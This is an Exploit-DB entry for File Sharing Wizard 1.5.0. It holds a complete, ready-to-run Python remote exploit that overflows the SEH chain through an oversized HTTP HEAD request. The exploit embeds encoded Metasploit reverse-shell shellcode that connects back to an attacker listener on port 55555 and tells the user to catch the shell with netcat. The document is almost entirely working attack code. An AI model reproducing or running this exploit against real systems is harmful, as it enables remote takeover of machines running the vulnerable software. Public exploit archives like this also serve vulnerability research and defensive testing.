Exploit-DB #13903
Description: File Sharing Wizard 1.5.0 - Remote Overflow (SEH)
Type: remote
Platform: windows
Date: 2010-06-17
Author: b0nd

Exploit:
#!/usr/bin/python


print "\n##########################################################"
print "##		Team Hackers Garage			##"
print "##		(www.garage4hackers.com)		##"
print "##							##"
print "##	File Sharing Wizard Version 1.5.0		##"
print "##		Remote Command Execution		##"
print "##       	 	Author: b0nd			##"
print "##		(sumit.iips@gmail.com)			##"
print "##                           				##"
print "##	Greetz to: The Hackers Garage Family		##"
print "##	Thanks to: www.exploit-db.com/author/m1k3/	##"
print "##							##"
print "##			&				##"
print "##							##"
print "##		corelanc0d3r (CORELAN TEAM)		##"
print "##							##"
print "###########################################################"


# http://www.sharing-file.net/
# File Sharing Wizard Version 1.5.0 build on 26-8-2008

# Summary: The "HEAD" command leads to SEH overwrite and ultimately remote system compromise
# Tested on: Windows XP SP2
# SEH Overwrite and shellcode pointed out by EBP
# Huge space for shellcode.


import socket
import sys

if len(sys.argv) < 2:
	print "Usage: exploit-code.py <Remote-IP-Address> <Remote-Port>"
	sys.exit(1)

ips = sys.argv[1]
port = int(sys.argv[2])


string = "A"*1040
string += "\x90\x90\x1d\xeb"	# nSEH --> Jump to Shellcode
string += "\x29\xE3\xD3\x74"	# pop pop ret from oledlg.dll (SafeSEH OFF)
string += "\x90"*16		# Nop's

#win32_reverse -  EXITFUNC=seh LHOST=192.168.96.1 LPORT=55555 Size=649 Encoder=PexAlphaNum http://metasploit.com */
#Thumb rule - Don't trust the shellcode ;)
string += ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" +
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" +
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" +
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" +
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e" +
"\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38" +
"\x4e\x56\x46\x42\x46\x32\x4b\x48\x45\x44\x4e\x43\x4b\x38\x4e\x47" +
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x48" +
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x53\x4b\x38" +
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c" +
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e" +
"\x46\x4f\x4b\x53\x46\x45\x46\x42\x4a\x32\x45\x47\x45\x4e\x4b\x38" +
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x50\x4b\x34" +
"\x4b\x58\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x48" +
"\x49\x48\x4e\x56\x46\x42\x4e\x31\x41\x36\x43\x4c\x41\x53\x4b\x4d" +
"\x46\x46\x4b\x58\x43\x54\x42\x53\x4b\x48\x42\x54\x4e\x50\x4b\x48" +
"\x42\x47\x4e\x41\x4d\x4a\x4b\x38\x42\x54\x4a\x30\x50\x55\x4a\x36" +
"\x50\x58\x50\x54\x50\x50\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x36" +
"\x43\x45\x48\x36\x4a\x36\x43\x43\x44\x53\x4a\x36\x47\x57\x43\x57" +
"\x44\x53\x4f\x35\x46\x35\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" +
"\x4e\x4f\x4b\x43\x42\x35\x4f\x4f\x48\x4d\x4f\x45\x49\x58\x45\x4e" +
"\x48\x56\x41\x38\x4d\x4e\x4a\x30\x44\x30\x45\x55\x4c\x36\x44\x50" +
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" +
"\x4f\x4f\x48\x4d\x43\x55\x43\x55\x43\x55\x43\x55\x43\x44\x43\x55" +
"\x43\x44\x43\x45\x4f\x4f\x42\x4d\x4a\x56\x42\x4c\x4a\x4a\x42\x56" +
"\x41\x50\x48\x56\x4a\x36\x49\x4d\x43\x50\x48\x36\x43\x45\x49\x38" +
"\x41\x4e\x45\x59\x4a\x46\x4e\x4e\x49\x4f\x4c\x4a\x42\x56\x47\x35" +
"\x4f\x4f\x48\x4d\x4c\x56\x42\x41\x41\x55\x45\x35\x4f\x4f\x42\x4d" +
"\x48\x56\x4c\x46\x46\x36\x48\x36\x4a\x46\x43\x36\x4d\x56\x4c\x46" +
"\x42\x55\x49\x35\x49\x52\x4e\x4c\x49\x58\x47\x4e\x4c\x36\x46\x54" +
"\x49\x58\x44\x4e\x41\x33\x42\x4c\x43\x4f\x4c\x4a\x45\x39\x49\x48" +
"\x4d\x4f\x50\x4f\x44\x44\x4d\x42\x50\x4f\x44\x44\x4e\x52\x4d\x48" +
"\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36\x44\x57\x50\x4f" +
"\x43\x4b\x48\x41\x4f\x4f\x45\x57\x4a\x42\x4f\x4f\x48\x4d\x4b\x55" +
"\x47\x45\x44\x35\x41\x55\x41\x55\x41\x35\x4c\x46\x41\x30\x41\x45" +
"\x41\x35\x45\x35\x41\x55\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d" +
"\x45\x50\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f" +
"\x47\x53\x4f\x4f\x42\x4d\x4a\x56\x47\x4e\x49\x57\x48\x4c\x49\x47" +
"\x4f\x4f\x45\x57\x46\x50\x4f\x4f\x48\x4d\x4f\x4f\x47\x47\x4e\x4f" +
"\x4f\x4f\x42\x4d\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x35\x43\x45" +
"\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a");

string += "D"*4000 # Some more junk

print "Launching remote BoF on", ips
print ""

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
	connect=s.connect((ips, port))
except:
	print "no connection possible"
	sys.exit(1)

print "\r\nsending payload"
print "..."

payload = (
'HEAD %s HTTP/1.0\r\n'
'\r\n') % (string)


s.send(payload)
s.close()

print "Check your netcat listening on TCP port 55555 for reverse connect shell\n"
print "%s pwned!" % (ips)